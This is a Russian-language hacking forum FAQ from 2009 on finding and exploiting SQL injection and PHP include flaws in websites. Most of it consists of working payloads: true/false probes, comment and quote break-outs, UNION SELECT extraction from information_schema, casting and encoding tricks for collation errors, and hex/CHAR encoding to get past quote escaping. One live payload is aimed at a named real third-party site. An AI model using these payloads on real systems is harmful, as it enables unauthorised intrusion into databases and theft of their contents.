ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
 
 
Опции темы Поиск в этой теме Опции просмотра

Ответы на часто задаваемые вопросы + линки на статьи по SQL/XSS/PHP-инклуд
  #1  
Старый 03.02.2009, 23:54
Аватар для Jokester
Jokester
Members of Antichat - Level 5
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме:
17621293

Репутация: 4915


По умолчанию Ответы на часто задаваемые вопросы + линки на статьи по SQL/XSS/PHP-инклуд

Что это я тут понаписал. )
Это ответы на часто задаваемые вопросы в ветке "Ваши вопросы по уязвимостям" 90% этих вопросов гоняется по кругу(кто смотрит тему, тот знает) и отвечать на них порядком поднадоело. Так-же хочу собрать все линки на статьи по багам SQL\XSS\PHP-инклуд в кучу, и сделать что-то вроде карты раздела.


Поехали, вопросы

Вопрос №1 Что это? (ну и далее линк , обычно с кавычкой на конце, пройдя по которому можно лицезреть ту или иную ошибку)
Этот вопрос порядком поднадоел и впринципе некорректен, но задаётся с завидной регулярностью

Если выводится ошибка, и в ней присутствует что то по базу/sql/mysql/mssql/PostgreSQL и т.д. или вываливается запрос, или функции вывода из базы, то это ошибка БД, и скорее всего будет возможность провести инъекцию.
НО. Инъекция , это внедрение своего кода в запрос и иногда как раз внедрить его не получится, несмотря на ошибку базы. Как нам это определить. Вот некоторые примеры, которые я надеюсь помогут, и избавят от этого вопроса
site.com/index.php?id=1
Выводит страницу 1
site.com/index.php?id=2-1(Выводит страницу 1)
site.com/index.php?id=2(Выводит страницу 2)
-------------------
site.com/index.php?id=1*1(Выводит страницу 1)
site.com/index.php?id=1*2(Выводит страницу 2)
-------------------
site.com/index.php?id=1+and+1=1(Выводит страницу 1)
site.com/index.php?id=1+and+1=2(Выводит ошибку, или ничего не выводит, вобщем отличается от первого)
-------------------
Если эти примеры работают, то мы имеем SQL инъекцию.

Подчёркиваю: инъекция, это именно возможность влиять на запрос, возможность внедрить в него что-то, а не просто ошибка базы.

Хотелось-бы обратить внимание вот на какой момент. 90% скулей не доставляют хлопот и проводятся по шаблону но, имейте ввиду, что иногда параметры в запросе могут быть заключены в кавычки и скобки . И соответственно, для проведения инъекции запрос нужно будет подгонять под конкретный случай.Когда есть вывод ошибки, запрос можно увидеть(или увидеть ошибку , которая сообщит, что не так), а вот когда его нет, дело обстоит сложнее Я не смогу в рамках этого ФАКа привести все примеры, разумеется, но попробую сформулировать основной принцип. Страница которая выводится без всяких инъектов берётся за true, и при подстановке своего кода, нужно добиваться её вывода. Тоесть:
site.com/index.php?id=1--true
Прервём её комментарием
site.com/index.php?id=1/*
У нас должен быть тот-же вывод. Если его нет, значит мы отсекли своим комментарием какую-то нужную часть запроса. Для начала, попробуем другой комментарий(--,#)
site.com/index.php?id=1--+
Появился вывод, хорошо, значит будем использовать однострочный комментарий. Нет, пробуем скобку
site.com/index.php?id=1)/* и т.д., думаю принцип понятен
С кавычкой история немного другая. Если кавычка в запросе не нужна, то вам не удастся вывести страницу с её использованием, а вот если нужна, страница может выводиться нормально , как с ней, так и без неё. Вобщем эксперементируйте.
site.com/index.php?id=1)/*
site.com/index.php?id=1')--+
site.com/index.php?id=1"/*
site.com/index.php?id=1))--+

и т.д.
Если страница вывелась допустим при таком варианте:
site.com/index.php?id=1')--+
То и запрос будем составлять исходя из того, что параметр заключен в скобки и кавычки. Тоесть:
site.com/index.php?id=1')+union+select+1,2,3--+

Далее этим-же пунктом хотелось-бы обратить внимание на различия баз данных. При выводе ошибки внимательно смотрим на то, что нам пишут, и ищем в ошибке любое упоминание о БД (mysql/Access/InterBase/MSSQL/Oracle/sybase/PostgreSQL) это здорово упростит задачу и избавит от ненужных вопросов и разочарований
Львиную долю занимает конечно MySql, но и другие базы встречаются

Ниже приведу некоторые характерные функции или фразы, которые выводятся в ошибках и позволяют разпознать базу и линки на статьи по разным базам(Опознали базу, го читать статью )

PostgreSQL(Префикс pg_)
Функции:
pg_exec()
pg_numrows()
pg_query()
pg_fetch_array()

и т.д.
Статья:
Проведение SQL-Injection в PostgreSQL
Автор Spyder

Access пишет что-то такое:
[Microsoft][ODBC Microsoft Access Driver]
или
Microsoft JET Database Engine error
Статья:
Проведение SQL инъекций в Microsoft Access
Автор [53x]Shadow

MS SQL
[Microsoft][ODBC SQL Server Driver]
Статья:
Проведение инъекций в MSSQL сервере от Microsoft
Автор [ cash ]

InterBase\Firebird
ibase_query()
ibase_fetch_object()
ibase_free_result()
ibase_fetch_row()

Статья:
Заметка по Firebird SQL injection
Автор l1ght

Oracle
ORA-01756
(И вообще всякие ORA)

Статья:
Проведение SQL инъекций в Oracle
Автор [53x]Shadow

Sybase
Sybase error
sybase_query()
sybase_num_rows()

Статья:
Проведение SQL инъекций в Sybase ASE
Автор ~!DoK_tOR!~

Ну и конечно наш любимый MySql :
Статьи:
SQL injection полный FAQ
Автор Dr.Z3r0
SQL инъекция (в т.ч. и blind SQL)
Автор kot777
Эффективные Слепые Иньекции
Автор Евгений Минаев
Новая альтернатива Benchmark'y или эффективный blind SQL-injection
Автор Elekt
Быстрый Blind SQL Injection
Автор Qwazar
-----------------

По скулям вроде-бы всё, если в ошибке присутствуют функции
include()
include_once()
require()
require_once()
file()
readfile()

и т.п. Идем читать статьи по PHP инклудам:
php injection
Автор GreenBear
TRUE PHP-injection
Автор Zadoxlik
PHP-include и способы защиты
Автор _Pantera_
[новый способ] замена нулл-байту в инклудах
Автор [Raz0r]
Логи и конфиги
Default *log, *conf files locations
respect ettee
-----------------------------------------

Вопрос №2 Вот так выводит , а вот так невыводит.
site.com/index.php?id=1+union+select+1,2,3,4/*------------выводит
site.com/index.php?id=1+union+select+1,version(),3,4/*----невыводит

Господа, вывод у скули либо есть, либо нет, и если вы видите вывод цифры, но не видите версию или значние из столбца, то варианта 2 либо кодировка, либо тип данных не соответствует

Кодировка:
Может сопровождаться ошибкой такого плана:
Код:
Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,SYSCONST)
Illegal mix of collations (cp1251_general_ci,IMPLICIT) and (latin1_bin,IMPLICIT)
Бороться с этим можно несколькими способами, но все они сводятся к одному и тому-же. Что-бы получить данные в нужной нам кодировке можно пользоваться либо функциями приведения типов:

cast(Version()+as+binary)
CONVERT(Version(),binary)
convert(version()+using+latin1)
convert(version()+using+binary)


Либо шифровать/дешифровать данные. Результат при этом возвращается уже в "правильной" кодировке
aes_decrypt(aes_encrypt(Version(),1),1)
unhex(hex(version()))


пример, можете поэксперементировать с разными функциями:
http://www.oceanworld.com.au/page.asp?id=-8+union+select+1,cast(version()+as+binary),3,4,5,6 ,7,8,9,10,11,12,13,14+from+information_schema.tabl es--

Несоответствие типа данных вам может встретится на БД отличных от MySql. MySql относится к типам данных достаточно лояльно, а вот другие БД в основном несоответствия не терпят. Если ваша база оказалась именно такой нужно ознакомится со статьями по проведению инъекций в Вашей базе.
-------------------------------------------

Вопрос №3 Не выводит значение из таблицы, а она есть , точно знаю )
Обычно этот вопрос возникает на 5 ветке мускула, когда все таблицы выведены из information_schema, отсюда и уверенность, что таблица существует.
Вариантов опять-же два
Первый: таблица пустая
Проверяется это элементарно, например так:
union+select+1,2,count(*),4+from+user
count(*) выводит количество записей в таблице, если вывело 0, таблица пустая
либо для 5 ветки так
union+select+1,table_rows+from+information_schema. tables+where+table_name='sasasa'
Второй: Таблица в другой базе.
В базе information_schema хранится информация обо всех таблицах и столбцах из всех баз, и есть вероятность того, что ваша таблица находится не в той базе с которой работает скрипт
Проверяется так(5 ветка)
table_schema+from+information_schema.tables+where+ table_name='user', а база с которой работает скрипт выводится database(). Если базы разные, пробуем обратится к той которая нужна
union+select+1,2,count(*),4+from+base.user (по аналогии с mysql.user)
-------------------------------------------

Вопрос №4 Не могу вывести данные (Вытекает из предыдущего)
table_name='users' Ошибка
Скорее всего magic_quotes_gpc = On , и соответственно кавычки слешируются
И снова целых 2 варианта.
Перевести название таблицы/колонки в hex или в CHAR, кому как нравится
Для hex это выглядит так(добавляем к hex впереди 0x что-бы база поняла, что за данные мы ей втюхиваем):
union+select+1,table_rows+from+information_schema. tables+where+table_name=0x7573657273
для CHAR так:
union+select+1,table_rows+from+information_schema. tables+where+table_name=char(117,115,101,114,115)
Как видим обошлись без кавычек (сдесь table_name=users)
Некоторые индивидумы умудряются загонять в хекс или чар вместе с кавычками, тоесть так 'users'=27757365727327, так делать ненадо, база этого не оценит )

Вниманиеоператоры, функции, и т.д переводить в hex или char нельзя

Онлайн кодировщики:
Инструменты для шифрования/дешифрования данных
encode_decode 0.8
Base64 encode/decode
Universal char SQL encoder by [53x]Shadow!
TRANSLATOR, BINARY
-------------------------------------------

Вопрос №5 Подбираю столбцы ордером пишет(допустим) 2, делаю запрос union+select+1,2 ничего не выводит (выводит ошибку)
Первое что нужно сделать в этом случае. проверить версию базы, например так:
site.com/index.php?id=1+and+substring(version(),1,1)=3
site.com/index.php?id=1+and+substring(version(),1,1)=4
site.com/index.php?id=1+and+substring(version(),1,1)=5


Если оказалось, что версия третья, то неудивительно. что вывода нет, оператор union введён с четвётой версии mysql. B этом случае читаем статьи по проведению инъекций в 3 ветке

Если версия >=4 . или мы видим ошибку different number of columns это вовсе не означает, что вывода не будет.
Вероятность найти вывод всё равно остаётся. По этой теме идём читать сюда:
different number of columns
с поста 79 и вниз со всеми комментариями
--------------------------------------------

Последний раз редактировалось jokester; 13.01.2010 в 20:27..
 
 





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ